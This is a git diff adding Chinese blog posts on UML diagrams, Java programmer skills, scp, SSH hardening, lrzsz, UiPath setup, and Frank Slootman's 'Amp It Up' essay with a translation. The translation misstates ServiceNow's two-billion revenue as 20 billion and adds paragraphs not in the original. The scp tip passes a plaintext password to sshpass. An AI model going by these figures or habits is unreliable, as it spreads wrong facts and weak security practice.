+![](/uploads/2022/07/07-13.jpeg) + +### 5.2 带对象流的活动图 + +用活动图描述某个对象时，可以把涉及到的对象放置在活动图中，并用一个依赖将其连接到进行创建、修改和撤销的动作状态或者活动状态上，对象的这种使用方法就构成了对象流。对象流用带有箭头的虚线表示。 + +![](/uploads/2022/07/07-14.jpeg) + + +## 6、序列图-时序图（Sequence Diagrams）： + +交互图的一种，描述了对象之间消息发送的先后顺序，强调时间顺序。 + +序列图的主要用途是把用例表达的需求，转化为进一步、更加正式层次的精细表达。用例常常被细化为一个或者更多的序列图。同时序列图更有效地描述如何分配各个类的职责以及各类具有相应职责的原因。 + +![](/uploads/2022/07/07-15.jpeg) + +消息用从一个对象的生命线到另一个对象生命线的箭头表示。箭头以时间顺序在图中从上到下排列。 + +序列图中涉及的元素： + +### 6.1 生命线 + +生命线名称可带下划线。当使用下划线时，意味着序列图中的生命线代表一个类的特定实例。 + +![](/uploads/2022/07/07-16.png) + +### 6.2 同步消息 + +同步等待消息 + +![](/uploads/2022/07/07-17.png) + +### 6.3 异步消息 + +异步发送消息，不需等待 + +![](/uploads/2022/07/07-18.png) + +### 6.4 注释 + +![](/uploads/2022/07/07-19.png) + +### 6.5 约束 + +![](/uploads/2022/07/07-20.png) + + +### 6.6 组合 + +组合片段****用来解决交互执行的条件及方式。它允许在序列图中直接表示逻辑组件，用于通过指定条件或子进程的应用区域，为任何生命线的任何部分定义特殊条件和子进程。常用的组合片段有：抉择、选项、循环、并行。 + +## 7、协作图（Collaboration Diagrams）： + +交互图的一种，描述了收发消息的对象的组织关系，强调对象之间的合作关系。时序图按照时间顺序布图，而写作图按照空间结构布图 + +![](/uploads/2022/07/07-21.png) + + +## 8、构件图（Component Diagrams）： + +构件图是用来表示系统中构件与构件之间，类或接口与构件之间的关系图。其中，构建图之间的关系表现为依赖关系，定义的类或接口与类之间的关系表现为依赖关系或实现关系。 + +![](/uploads/2022/07/07-22.jpeg) + + +## 9、部署图（Deployment Diagrams）： + +描述了系统运行时进行处理的结点以及在结点上活动的构件的配置。强调了物理设备以及之间的连接关系。 + +部署模型的目的： + +描述一个具体应用的主要部署结构，通过对各种硬件，在硬件中的软件以及各种连接协议的显示，可以很好的描述系统是如何部署的；平衡系统运行时的计算资源分布；可以通过连接描述组织的硬件网络结构或者是嵌入式系统等具有多种硬件和软件相关的系统运行模型。 + +![](/uploads/2022/07/07-23.jpeg) + + +# 二、图的差异比较 + +## 1、序列图(时序图)VS协作图 + +序列图和协作图都是交互图。二者在语义上等价，可以相互转化。但是侧重点不同：序列图侧重时间顺序，协作图侧重对象间的关系。 + +共同点：时序图与协作图均显示了对象间的交互。 + +不同点：时序图强调交互的时间次序。 + +协作图强调交互的空间结构。 + +## 2、状态图VS活动图 + +状态图和活动图都是行为图。状态图侧重从行为的结果来描述，活动图侧重从行为的动作来描述。状态图描述了一个具体对象的可能状态以及他们之间的转换。在实际的项目中，活动图并不是必须的，需要满足以下条件：1、出现并行过程&行为；2、描述算法；3、跨越多个用例的活动图。 + +## 3、活动图VS交互图 + +二者都涉及到对象和他们之间传递的关系。区别在于交互图观察的是传送消息的对象，而活动图观察的是对象之间传递的消息。看似语义相同，但是他们是从不同的角度来观察整个系统的。 + +# 三、UML与软件工程 + +UML图是软件工程的组成部分，软件工程从宏观的角度保证了软件开发的各个过程的质量。而UML作为一种建模语言，更加有效的实现了软件工程的要求。 + +如下图，在软件的各个开发阶段需要的UML图。 + +![](/uploads/2022/07/07-24.png) + + +下表是UML使用人员图示： + +![](/uploads/2022/07/07-25.png) + + + +参考自： + +1. http://m.blog.csdn.net/article/details?id=38467715 +2. http://www.cnblogs.com/wolf-sun/p/UML-collaboration-diagram.html +3. https://blog.csdn.net/MengYiKeNan/article/details/117586875 \ No newline at end of file diff --git a/_posts/2022-12-05-609-java.md b/_posts/2022-12-05-609-java.md new file mode 100644 index 0000000..ddac608 --- /dev/null +++ b/_posts/2022-12-05-609-java.md @@ -0,0 +1,83 @@ +--- +layout: post +title: 如何成为一个合格的程序员 +pid: 609 +tags: [岗前培训, java] + +--- + + +本文以Java程序员为例来介绍，介绍成为一个合格程序员的基本点。 + +# 1. 能够独立创建一个java的web项目。 + +在大学上Java课的时候，我们学会写的第一个程序是Hello World! + +``` Java +public static void main(String[] args) { + System.out.println("Hello World!"); +} +``` + +会写这样的一行代码，并不能够说明你学会了Java，我们需要在这个基础之上，知道Java是如何处理http请求的。 + +比如： + +http://www.xuexi.com/students + +http://www.xuexi.com/students/112423456647458 + +通常情况下，需要在项目中加入web 框架级别的组件，比如Struts、Spring MVC 等等。 + +你需要知道，Web项目是如何启动的？如何加载配置的？如何将http的web请求映射到java程序中的执行类的。 + +最常见的创建web项目方法是通过开发工具直接创建，比如 idea， eclipse。 + +当然我们推荐的方式是，直接从 https://start.spring.io 这个地址选择组件，然后下载。 + +程序员所做的开发，是在Java web 框架基础之上的，并不是开发了一个controller就好像掌握了java一样，每一个web 请求的响应，都需要框架提供各种各样的支撑。 + +# 2. 学会使用中间件，比如数据库中间件 + +Web 框架只是解决了从客户端获取数据的问题，这些数据如何存储到数据库中，这就需要使用到数据库中间件。 + +我们推荐的数据库中间件是Mybatis，当然目前MybatisPlus的易用性上更好，我们可以优选MybatisPlus去使用。 + +# 3. 测试用例 + +程序员的测试不能停留在System.out.println()，也不能停留在一定要把程序启动起来，通过debug的方式来测试。 + +我们希望程序员可以通过写测试用例的方式来检验自己的成果。 + +我们推荐spring-test。 + +# 4. 良好的编码习惯 + +传统的理解上，良好的编码习惯就是空格要对齐，这样的理解不满足于当下行业的要求。 + +在编码之前，要认真阅读需求，并对需求进行分析，可以使用思维导图，流程图等等 + +设计过程中，要做到逻辑自洽，不能盲人摸象，最后不能自圆其说。 + +设计数据库的时候，需要把一些必要的字段考虑进去，比如 创建人、创建时间、更新人、更新时间、删除标记、版本号等等。 + +设计数据库的过程中，需要符合常规要求，比如表名是STUDENT, 它的字段名字应该是 STUDENT_NAME ，要对每个字段添加备注等等。 + +熟练掌握maven，要知道maven不是 idea 或者 eclipse的功能， idea 和 ecplise只是提供了一个操作界面。 + +在编码的时候，对前端提供符合restful 风格的接口，post 不是银弹。 + +编码过程中，要写api doc，这样更有利于前端或者外部人员使用你写的接口，我们推荐使用swagger。 + +一定要写后端校验，要通过后端校验来防止错误数据的录入，或者恶意的攻击。 + +不懂就要问，闷在那边不说话，最终只会给团队和个人带来重大损失。 + +# 5. 期望 + +我们期望中高级程序员对程序有一定的认知，这样的认知不仅仅停留在 在别人创建的项目结构基础上做简单的CRUD。 + +相对于其他行业，程序员是一个高薪行业，这样的高薪是因为其背后的业务复杂性（程序员高超的分析能力）和战略价值（为公司创造的增长潜力），绝对不是因为简单的CRUD。 + + +感谢阅读，希望对你有帮助。 diff --git a/_posts/2022-12-14-610-scp.md b/_posts/2022-12-14-610-scp.md new file mode 100644 index 0000000..993c396 --- /dev/null +++ b/_posts/2022-12-14-610-scp.md @@ -0,0 +1,14 @@ +--- +layout: post +title: scp +pid: 610 +tags: [linux] +--- + +```shell + +sshpass -p 'password' scp -P22 -r zhangsan@192.168.18.10:/home/zhangsan/dingdan /Users/zhangsan/Downloads + +sshpass -p 'password' scp -P22 -r /Users/zhangsan/dingdan zhangsan@192.168.18.10:/home/zhangsan + +``` \ No newline at end of file diff --git a/_posts/2023-01-05-611-PermitRootLogin.md b/_posts/2023-01-05-611-PermitRootLogin.md new file mode 100644 index 0000000..30d9ac7 --- /dev/null +++ b/_posts/2023-01-05-611-PermitRootLogin.md @@ -0,0 +1,43 @@ +--- +layout: post +title: Centos 禁用外网直接访问 +pid: 611 +tags: [linux, ssh, iptables, useradd, 安全] +--- + + + +Centos 禁用外网直接访问 + +创建个人账号 + +useradd zhangsan + +passwd zhangsan + +修改防火墙 + +vim /etc/sysconfig/iptables ***记得把下面用到的端口添加进去*** + +service iptables restart + + +更新端口配置 + +vim /etc/ssh/sshd_config + + +Port 22 + +Port 9982 + +service sshd restart + +***这个地方一定要先试用zhangsan以及新的端口登录一下，然后再做下面的改动，否则会永远都登录不进系统*** + +禁用root登录 + +PermitRootLogin yes 改成 no + +service sshd restart + diff --git a/_posts/2023-03-30-612-rzsz.md b/_posts/2023-03-30-612-rzsz.md new file mode 100644 index 0000000..401d001 --- /dev/null +++ b/_posts/2023-03-30-612-rzsz.md @@ -0,0 +1,30 @@ +--- +layout: post +title: rzsz +pid: 612 +tags: [linux] +--- + + +yum -y install lrzsz + +rz + +sz filename + + +brew install lrzsz + +cd /usr/local/bin + +iterm2-recv-zmodem.sh + + + +iterm2-send-zmodem.sh + + +Perferences -> Profiles -> Default -> Advanced -> Triggers + + ++ [MacOS下iTerm2使用rzsz](https://blog.csdn.net/zhaoxz1985/article/details/109507059) \ No newline at end of file diff --git a/_posts/2023-04-27-613-uipath.md b/_posts/2023-04-27-613-uipath.md new file mode 100644 index 0000000..ac725ef --- /dev/null +++ b/_posts/2023-04-27-613-uipath.md @@ -0,0 +1,50 @@ +--- +layout: post +title: Uipath +pid: 613 +tags: [RPA] +--- + +建议在安装过程中，将杀毒软件退出 + +硬件配置 + +16GB内存 64位windows操作系统 + +软件 + +1、uipath社区版 + +2、chrome浏览器 + +3、office + +注册账号： + +uipath社区版登录需要账号密码，直接通过邮箱就可以注册，个人邮箱企业邮箱都可以 + +操作步骤 + +【RPA之家转载】UiPathStudio（设计器）安装后的初始化 + +https://zhuanlan.zhihu.com/p/457728380?utm_id=0 + +Uipath Orchestrator及无人值守机器人配置使用教程 （执行第一步至第六步） + +第6步中的URL https://cloud.uipath.com/msudmkl/DefaultTenant/orchestrator_ + +https://blog.csdn.net/u011296732/article/details/127533583 + +到网页中添加流程，然后下一步（将研发提供的导入文件导入到cloud端） + +安装 chrome 插件 + +https://www.jianshu.com/p/c952866de9cf + + +设置下chrome + +https://blog.csdn.net/olixu/article/details/126124178 + + + diff --git a/_posts/2023-04-29-614-amp-it-up.md b/_posts/2023-04-29-614-amp-it-up.md new file mode 100644 index 0000000..1fefc3b --- /dev/null +++ b/_posts/2023-04-29-614-amp-it-up.md @@ -0,0 +1,264 @@ +--- +layout: post +title: Amp It Up +pid: 614 +tags: [mba] +--- + +Amp It Up! + +Frank Slootman + +Chairman and CEO at Snowflake + +As the former CEO of both Data Domain and ServiceNow, two successful tech companies in recent years, I am often confronted with questions: what did you guys do? What is the secret sauce? How did you do it? We never thought of ourselves as that different. We certainly didn’t think we had stumbled on a silver bullet. Did we just get incredibly lucky twice in a row? With hindsight and reflection, there are observations worth making that may benefit others. + +Bottom line: There is room up in organizations to boost performance by amping up the pace and intensity. Considerable slack naturally exists in organizations to perform at much higher levels. The role of leadership is to convert that lingering potential into superlative results. The opportunity is right under our noses but for some reason it does not enter the consciousness. This notion is not limited to business enterprises. We see in professional sports all the time how teams go almost overnight from losing to winning with basically the same roster, but different leadership. Call it what you want, the X factor, whatever, it is real. Anybody can dial into this, but not many do. + +It is not easy because you will drive people out of their comfort zones. There will be resistance. Change is hard. Some will vote with their feet. If you want to be popular as a leader, this may not be for you. The role of a leader is to change the status quo, step up the pace, and increase the intensity. Leaders are the energy bunnies and pacemakers of the organization. Some people drain energy from organizations; not leaders, they engulf organizations with energy. + +# Data Domain and ServiceNow + +Data Domain and ServiceNow, the companies we ran between 2003 and 2017, had things in common. They were outliers on performance though they were quite different businesses in different markets and in different eras. They shared the same CEO and a good portion of the executive and extended management teams. Culturally, they hung together and were like-minded. Therein lies a clue. + +Data Domain took in $28M of net capital and 6 years later returned $2.4B to shareholders. Revenue grew from zero to $600M annually. The company went public on Nasdaq in mid 2007. Post-acquisition by EMC in 2009, the business grew to multiple billion dollars in annual revenues a year. It was a storage business with software margins. We joined Data Domain pre-revenue, and it had typical cross-the-chasm challenges. I wrote about that episode in a 2009 book ‘Tape Sucks’: A Silicon Valley Growth Story. + +ServiceNow on the other hand, a San Diego-founded cloud software company, was already on a tear when I joined as CEO in early 2011. The proverbial chasm had been scarcely a speed bump. But, ServiceNow was approaching $100M in revenues with the maturity of a popsicle stand. The operational challenges were epic, but we gradually reigned in the bucking bronco, and hit overdrive on growth. ServiceNow was also bootstrapped with no more than $6.5M in external funding. + +Only the second cloud software company, after Salesforce, to hit a billion dollars in revenues, ServiceNow reached two billion dollars in revenue just two years later. High growth at scale that is continuing to this day. ServiceNow went public on the NYSE mid-2012, the stock price has increased tenfold since then, with a market cap exceeding $100B. + +# Amping It Up + +Our companies were built and run for performance, full stop. We were singleminded in our pursuit of goals, and drove our people to become the best version of themselves. For the best people, it was an incredibly liberating experience. Most everybody subscribes to the notion of a so-called 'performance culture', even claim to have one, but few appreciate what that means, what that takes, and what you have to give up. Our companies were all Marine Corps, not much Peace Corps. We did not come in peace. Emerging companies like ours fought giant incumbents for their existence every single day. We were paranoid and felt constantly threatened with our survival. You could not escape the combat mentality at our companies. We were in a shit fight all the time. + +Few things drive home a performance culture like the compensation philosophy. In our case, the company had to earn it first, so that the bonus pool could be funded. Each quarter we would fund the pool, depending how well we did that period. Then the process of allocation started. Managers were not allowed to 'peanut-butter' out the money with everybody getting the same share of the pool. We insisted on a bell shaped distribution. We did not always pay full bonuses and I would personally explain why in our quarterly all hands meetings. + +It is not that we worried about bonuses for substandard performers, but that we were under-bonusing our A players. And to pay A players more, managers had to take that money from the other end of the performance spectrum. It allowed us to be informed of who the strong performers were as well as those not in good standing. Each employee had a money conversation each quarter with their manager relating to performance. These were in lieu of written performance reviews. When it came time to separate with a person, it was a lot easier, cheaper and quicker when there was a below-average bonus history. + +It's tough for a manager to have performance compensation conversations which each employee every quarter. It's confrontational. Employees have grown up in companies where bonuses are not really earned, they are counted on so much they may as well be part of the base pay. Sure sign of an entitlement culture. + +ServiceNow internally advocated employees being drivers, not passengers. Passengers end up in the same place as drivers but they are dead weight. If that was a subtle distinction, there would be work to do. Ask yourself at the end of a work week: did it really, really matter that I was there? At the end of the month? Tough questions many would rather avoid. It is a call to action to make sure you can answer that question to yourself and others with overwhelming conviction. Changes our sense of security, confidence and self-worth. + +There are many other dimensions and aspects of a full-on performance culture. But, for the purpose of this discussion, I will outline three vectors that together make up a performance execution framework. + +Our companies ran at higher velocity, with higher standards and a narrower focus than most. Going faster, maintaining higher standards and with a narrower aperture. Sounds simple? The question is how you go about amping up your organization. How much faster do you run? How much higher are your standards? How hard do you focus? It is a performance ‘triad’ because they amplify each other. The compound effect can be electrifying. + +It is breathtaking how slow, substandard and unfocused many companies out there get through the day. And think nothing of it. The lack of energy is palatable. There is performance upside everywhere. As a leader, your opportunity is to reset in each of these dimensions. You do it in every single conversation, meeting, and encounter. You look for and exploit every single opportunity to step up the pace, expect a higher quality outcome, and narrow the plane of attack. Then, you relentlessly follow up and prosecute at every turn. Yes, it is confrontational. That is pretty much what CEOs do all the time: confront people, issues and situations. + +It’s not a quick transformation. In fact, it never ends. The shock to the system will be profound, or you are perhaps not taking it far enough. People may squeal but consider that a sign you are bringing it on. A leader can ignite a culture, but the management ranks need to embrace it, or the energy will not reverberate through the org. You can go slow, ‘boil the frog’ so to speak, but how can we be a fan of slow? Not everybody will come along. The right people will rise to the occasion. Culture sorts like-minded people from the rest of the pack. You will find out who your keepers are, and some who are not. + +# Increasing velocity + +Without leaders driving the tempo in an organization, it will naturally settle into a lethargic pace. If you have ever worked in or with government, you have seen extreme examples of this. There is no urgency about anything, other than quitting time. It’s suffocating being in such organizations, as if everybody is swimming in glue. + +People get visible pep in their step. They exude energy. Somebody would ask me if he could get back to me about something next week, and I would reply ‘how about tomorrow morning? Might be completely unreasonable, did not matter. The point was to change people’s sense of urgency. We were always compressing cycle time on everything. Did we sometimes take it too far? Of course we did. You don't know what's possible until you try. Same thing applies in interactions with other stakeholders, especially customers who all have expectations about reasonable response times. It is easy to differentiate yourself by changing cycle times because few bother to do it. + +Stepping up the pace doesn’t just cause people to do things faster. They start doing things differently. They become more demanding of others. This is precisely what we want in an organization. ServiceNow had a relentless ‘get shit done’ culture and they were proud of it. The culture enthusiastically embraced those who got things done, and it repelled those who did not. + +The pace has to be profound, palatable, breathtaking, order-of-magnitude type change. You want to go 20% faster? It’s barely discernible, and you will be back in your old mode before long. + +In the world of software, we often sit around tables talking about what we need in the product, and when we could expect to see it. Development teams tend to come back with unacceptable time frames because they are doing things linearly, and are not thinking with enough urgency. But with pressure applied, somebody all of a sudden figures out how to do things differently, and get things dramatically sooner. Pressure changes things. + +Over time an organization settles into a tempo and pace that is theirs and generally understood inside. You don’t have to work at it as much anymore as everybody operates at a cadence the organization generally expects. Of course, in high growth companies new people show up all the time and they need to be properly 'indoctrinated'. + +It is not a trivial change. Organizations resist going faster than their natural, quite glacial pace. We had some new hires quit in a matter of weeks, confessing they could not handle the pace and intensity at ServiceNow. Too big a shock to their system. + +You need an energetic cast that wants to let it rip. These were exactly the people we wanted to attract and retain. You don’t drive the pace, you start losing the people who need a fast-paced culture. And the best people do. + +Quickening the pace also drives a narrower focus. You simply can't move very fast when you are pushing on too many fronts at the same time. More about this further down. + +# Raising Standards + +When stepping up the pace, inevitably excuses are made about quality. We can’t possibly move this fast, and maintain quality? We would agree, because we are going to move faster and raise quality. It has a compound effect on productivity. It’s not defying gravity, it’s beating reams of slack out of the system. Until the pressure is on, we don’t even know how much better and faster we can be. + +One place where we stood out was our commitment to the customer. It was the highest standard of service and support we knew how to apply. There was nothing more important than making customers successful. Customers had to sing our praises, really feel we had their backs. We wanted them to not just like us, they had to love us! Our Net Promoter Scores were high, and that was no accident. It is hard to maintain such standards, but our culture had it deeply ingrained. + +I enjoyed quoting the late Steve Jobs who had just two classifications: it’s either ‘insanely great’, or it’s ‘total shit’. There is no middle ground, Steve took it away. Our people easily related to this way of talking. Don’t we all want to be insanely great? The words started to creep into daily interactions when people judged somebody else’s work to not be ‘insanely great’. A polite way of saying that it was total shit. + +Another way we would pursue this conversation was asking people whether they liked their work, or whether they loved it. Like it, yes, love it, no. So, let’s resolve to love what we produce, not just like it. Feel strongly, even passionate about what you are producing. It changes things perceptibly. Moving mental boundaries, that is what this is. + +Mediocrity is the silent killer. Organizations are not getting killed by their C players. Everybody knows who they are, and performance eventually is addressed. The people who kill organizations are your B players. It’s the scourge of the enterprise because there are many and they are generally accepted. Often, they are seen as not bad enough to fire, but not good enough to keep. They are the ultimate passengers. + +B players need to be pared: they either become A players, or they become C players and get flushed out. You can help by raising standards, by refusing mediocre outcomes. Channel your inner Steve Jobs. + +# Narrowing The Focus + +The fastest way to move a dial is narrow the focus. People naturally resist focus because they can’t decide what is important. Therein lies a problem: people can typically tell you after some deliberation what their top three priorities are, but they struggle to decide on just one. They may also be incorrect about their priorities, so there is potential for misallocation of resources. What is too much and what is too little focus? Do you ever even discuss this? Most teams are not focused enough. I rarely encountered a team that employed too narrow an aperture. It goes against our human grain. People like to boil oceans. Just knowing that can be to your advantage. + +When you narrow focus, you are increasing the resourcing on the remaining priority. It doesn’t have to time-slice and compete any more with a bunch of other stuff. And then things begin to move, stuff is getting done, and we move to the next thing. Many people and organizations are focused a mile wide and an inch deep. It can’t be a surprise when they progress at snails pace. Log jams get broken when you sift through the reams of activities and you create fewer and clearer objectives. Do less, at a time. I've often felt that providence moves, too, when you un-clutter priorities. Like an Invisible Hand, all of a sudden things are on the move. + +It’s not just an effectiveness problem. We need to sort out what is truly important, and what isn’t, and when. We procrastinate on that by declaring multiple priorities. Makes us sound thoughtful and comprehensive, but it completely lacks punch and impact. Pointed, critical thinking is rare. I have been in board meetings where CEOs would declare as many as ten priorities. Reminds us of Mark Twain who wrote us a long letter because he had no time for a short one. + +At the company level and as a CEO, I worked to create blinding clarity and singularity of purpose. My job as a CEO was to increase the value of the franchise. That’s because I was appointed to work for the investors (which included our employees). I only did things and applied resources that had a compelling line-of-sight relationship with that goal. In tech, value is a function of growth, so we ran our companies for growth, period. It was an easy call when spending proposals came forward that had no discernible relationship with the mission. Investors were obviously in violent agreement. + +We compensated the ServiceNow exec team on just one metric. It was unquestionably the purest performance metric for a cloud software company. Our board fought me on this. They were convinced a grown up company had to have a balanced scorecard, arguably the worst idea to ever come out of academia. People say they want focus, but their actions do not bear it out, quite the opposite. Focus is hard once you understand what that means. What are you not going to do? + +Similarly, we ran the companies for attracting and retaining talent, regardless of gender, race or ethnic origin. We valued people for their contribution to our goal, not because they had a preferred skin color, gender or ethnic background. Either you are completely focused on and aligned with your goals, or you let in all kinds of noise that dilutes your limited resources. I have nothing against 'diversity and inclusion' as long as it results from our goal-oriented modes of execution. We are not a university or a non-profit, this is a business. You lack focus at the top, it will be much more so at the bottom. + +Data Domain and ServiceNow hired you on merit, not because you checked a box. Good people don't want to be hired because they fit a demographic. We made a lot of money for our people, and we delivered more social justice this way than we ever could have, pursuing other people's ideas of that. I also did not make public statements about anything that did not relate directly to what we do. Focus is a discipline. I avoided having high-minded societal ambitions as part of my role. I am not the leader of the free world, just a CEO working to increase the value of the franchise entrusted to him. + +Up to this point, I have talked about 'leaders' driving these modes of execution. Leaders are not people with management titles per se. Leaders set standards of performance for others to follow. High performance organizations exhibit leadership coming from all directions, it is not an exclusively top-down phenomenon. Anybody, anytime can decide to be a leader. It is just a different mode of getting up and going to work in the morning. + +In recent years, I have advised CEOs and management teams on these topics and many others. They asked, and we told them. We could sometimes hear a pin drop as people internalized these modes of execution. It made them uneasy. There was a mixture of being intrigued but fearing the perceived fall out. Fear is not good counsel. + +Casual observation shows that it is hard for leaders to act on this. It struck them as unduly hard-assed and they feared backlash, people walking out the door, and so on. Everybody wants results, but not everybody wants to do what that takes. Still, I am also seeing leaders swarm to this, dramatically amp up their org, produce amazing results and never look back. + +Performance-centric thinking like this doesn't trend well with prevailing attitudes. Companies have become more fixated on their employees' NPS scores than their customers'. They coddle their people. They get caught up in things that have nothing to do with their mission. It takes conviction and courage to execute like this. As William Wallace said in 'Braveheart', 'people don't follow title, they follow courage'. You will be immensely popular when good results come in. That's all people want from you anyway. + +提升能量！ + +弗兰克·斯鲁特曼 + +Snowflake董事长兼首席执行官 + +作为Data Domain和ServiceNow两家近年来成功的科技公司的前首席执行官，我经常面临这样的问题：你们做了什么？有什么秘密酱汁？你们是怎么做到的？我们从来没有认为自己与众不同。我们肯定不认为自己偶然发现了灵丹妙药。我们难道是连续两次极其幸运吗？回顾和反思之后，有一些值得注意的观察结果可能有益于他人。 + +底线是：组织中有提高表现的空间，可以通过增加速度和强度来提升。组织中自然存在相当的松弛度，可以在更高的水平上表现。领导的角色是将潜在的能力转化为卓越的结果。机会就在我们眼前，但出于某种原因，它没有进入意识。这种想法不仅适用于企业，我们经常在职业体育中看到，团队在基本相同的名单下，仅仅因为领导力不同，就可以在一夜之间从失败转变为成功。无论你称其为什么，X因素，什么的，它都是真实存在的。任何人都可以加入，但并不是每个人都会这样做。 + +这并不容易，因为你会让人们走出他们的舒适区。会有阻力。改变很难。有些人会用脚投票。如果你想成为一个受欢迎的领导者，这可能不适合你。领导的角色是改变现状，加快步伐，增加强度。领导者是组织的能量兔和节奏创造者。有些人会耗尽组织的能量；但领导者不会，他们会用能量包围组织。 + +# 数据域和ServiceNow + +在2003年至2017年间，我们经营的Data Domain和ServiceNow两家公司有一些共同点。它们都是性能的离群值，尽管它们在不同的市场和时代是截然不同的业务。它们有相同的首席执行官和很多高管和扩展管理团队成员。在文化上，它们保持着一致，思想相似。这是一个提示。 + +Data Domain筹集了2800万美元的净资本，6年后为股东带来了24亿美元的回报。营收从零增长到每年6亿美元。该公司于2007年中期在纳斯达克上市。在2009年被EMC收购后，业务增长到每年数十亿美元的收入。它是一家具有软件利润率的存储业务。我们在Data Domain创收之前加入了这个公司，并且它面临着典型的跨越鸿沟的挑战。我在2009年的一本书《磁带很烂》中写到了这一事件：硅谷的增长故事。 + +另一方面，ServiceNow是一家总部位于圣地亚哥的云软件公司，当我在2011年初担任首席执行官时，公司已经在快速增长。惯常的鸿沟几乎没有成为障碍。但是，ServiceNow的收入已接近1亿美元，却有着一个冰棍摊的成熟度。运营方面的挑战是史诗级的，但我们逐渐控制了这个腾跃的野马，并加速增长。ServiceNow也是通过内部融资启动的，不超过650万美元的外部资金。 + +ServiceNow成为第二个在销售额上达到10亿美元的云软件公司，仅次于Salesforce。仅仅两年后，ServiceNow的收入就达到了200亿美元，高增长在不断持续。ServiceNow于2012年中期在纽约证券交易所上市，股价自此上涨了十倍以上，市值超过1000亿美元。 + +# 提高能量 + +我们的公司是建立和运营以表现为中心的。我们追求目标，驱动员工变得更好。对于最优秀的员工来说，这是一种非常解放的经历。几乎每个人都认同所谓的“表现文化”的概念，甚至宣称自己有一种，但很少有人真正理解这意味着什么，需要做什么，以及你必须放弃什么。我们的公司都是海军陆战队的风格，而不是和平队的风格。我们没有和平的意图。像我们这样的新兴公司每天都在与巨头竞争，争取生存的权利。我们很多时候都是处于被威胁的状态，感到非常紧张。在我们公司，你无法逃避战斗的心态。 + +很少有什么事情比薪酬哲学更能突显表现文化。在我们的公司，首先必须赚到了才能分红，以便资助奖金池。每个季度，我们都会根据当期业绩对奖金池进行资助。然后分配的过程开始了。经理们不允许平均分配奖金，我们坚持采用钟形分布。我们并不总是支付完整的奖金，我会在季度全员会议上亲自解释为什么。 + +我们担心的不是为表现不佳的员工支付奖金，而是给优秀员工支付不足的奖金。为了支付更高的奖金，经理们必须从表现谱系的另一端取走这笔钱。这让我们能够知道谁是强劲的表现者，以及谁不太受欢迎。每个员工每个季度都要与他们的经理就表现进行对话。这些代替了书面绩效评估。当与一个人分手时，如果存在低于平均水平的奖金历史，情况会变得更容易、更便宜、更快速。 + +经理每个季度与每个员工进行绩效补偿谈话是很难的。这是一种对抗性的过程。员工在成长过程中习惯了公司不真正赚取奖金，但奖金是可以预期的，就像是基本工资的一部分。这是一种权利文化的明显标志。 + +ServiceNow内部倡导员工成为驾驶员，而不是乘客。乘客最终与驾驶员到达相同的地方，但它们只是一份累赘。如果这是一个微妙的区别，那么就需要做出努力。在工作周结束时问问自己：我在那里真的真的很重要吗？在月末的时候呢？这是很多人宁愿避免回答的严峻问题。这是一个行动的呼唤，确保你能够用压倒性的信念回答自己和他人的问题。这会改变我们的安全感、信心和自尊心。 + +表现文化有许多其他维度和方面。但是，就本讨论的目的而言，我将概述三个向量，它们共同构成了一个表现执行框架。 + +我们的公司运行速度更快，标准更高，焦点更窄。比大多数公司都更快、更高标准、更窄的光圈。听起来很简单？问题是如何提高组织的能量水平。你要跑得更快，标准要更高，焦点要更强。这是一个表现“三角形”，因为它们相互放大。这种复合效应可以让人充满活力。 + +许多公司的缺乏速度、不达标准和缺乏焦点是令人惊讶的。他们认为这并没有什么问题。缺乏能量是可以感知到的。表现潜力无处不在。作为领导者，你的机会是在这三个维度中每一个都进行重置。你在每一个谈话、会议和交流中进行这样的重置。你寻找和利用每一个机会来加速、期望更高质量的结果，并缩小攻击面。然后，你无情地跟进和执行每一个转折。是的，这是对抗性的。这几乎就是CEO一直要做的事情：对抗人、问题和情况。 + +这不是一个快速的转变。事实上，它永远不会结束。对体系的冲击会是深远的，或者你可能没有推动得足够远。人们可能会抱怨，但请把这视为你正在引导它。一个领导者可以点燃一种文化，但是管理层必须接受它，否则这种能量不会在组织中产生回响。你可以慢慢来，像“煮青蛙”一样，但我们怎么能喜欢缓慢呢？并不是每个人都会跟着走。正确的人会站出来。文化将类似思想的人与其他人分开。你将找出谁是你的保持者，谁是不是。由于这种文化筛选了想法相似的人与其他人，你会找到答案。 + +让我们回到最初的问题：我们是如何成功的？我们没有发现任何银弹，我们没有觉得自己与众不同。相反，我们简单地将我们的业务转化为执行，高速和能量。我们没有犯常见的错误，即放缓速度或适应低要求。我们利用了我们的潜在能量，然后通过高速、高标准和高能量实现了巨大的成功。 + +作为领导者，你可以启动类似的机制。考虑如何利用你的团队的潜在能量，然后让他们在更高的速度、更高的标准和更高的能量下执行。这需要一些冲击，但它可以改变游戏规则并使组织充满活力。 + +# 增加速度 + +如果没有领导人推动组织的节奏，它自然会陷入慢悠悠的步伐。如果你曾经在政府机构工作或与之合作，你会看到极端的例子。除了下班时间外，没有任何紧迫性。这样的组织令人窒息，就好像每个人都在泥浆中游泳。 + +当领导者推动组织的节奏时，人们开始表现出精力充沛的步伐。他们散发出能量。有人问我能否在下周回复他某事，我会回答“明天早上怎么样？”这可能完全不合理，但不要紧。重点是改变人们的紧迫感。我们总是在缩短每件事的时间周期。我们有时候会走得太远吗？当然会。在尝试之前，你不知道什么是可能的。在与其他利益相关者的互动中，特别是客户方面，同样适用。他们都对合理的响应时间有期望，通过改变时间周期，你可以很容易地使自己与众不同，因为很少有人费心去做到这一点。 + +加快节奏不仅会让人们做事更快，他们开始以不同的方式做事。他们对别人的要求更高。这正是我们想要在一个组织中看到的。ServiceNow有一种无情的“把事情做成”文化，他们为此感到自豪。这种文化热情地接纳那些能把事情做好的人，并排斥那些做不到的人。 + +节奏必须是深刻的，易于理解的，惊人的，数量级的变化。你想快20%？几乎察觉不到，你很快就会回到旧模式。 + +在软件领域，我们经常围着桌子谈论产品需要什么，何时能看到它。开发团队往往会回来报告不可接受的时间框架，因为他们正在线性地进行事情，并没有足够的紧迫感。但是，一旦施加了压力，有人突然想到了如何以不同的方式做事，并显著提前完成了任务。压力改变了事情。 + +随着时间的推移，组织会陷入自己的节奏和步伐中，并在组织内部得到普遍理解。因为每个人都按照组织预期的节奏运转，所以你不必再那么努力，但在高增长的公司中，新人不断涌现，他们需要适当的“洗脑”。 + +这不是一个微不足道的改变。组织抵制比它们自然、相当缓慢的步伐更快的步伐。我们有些新员工在几周内就离职了，承认他们无法承受ServiceNow的节奏和强度。这对他们的体系冲击太大了。 + +你需要一个充满活力的团队，他们想要放手一搏。这正是我们想要吸引和留住的人。如果你不能推动节奏，你就会失去那些需要快节奏文化的人。而最好的人会。 + 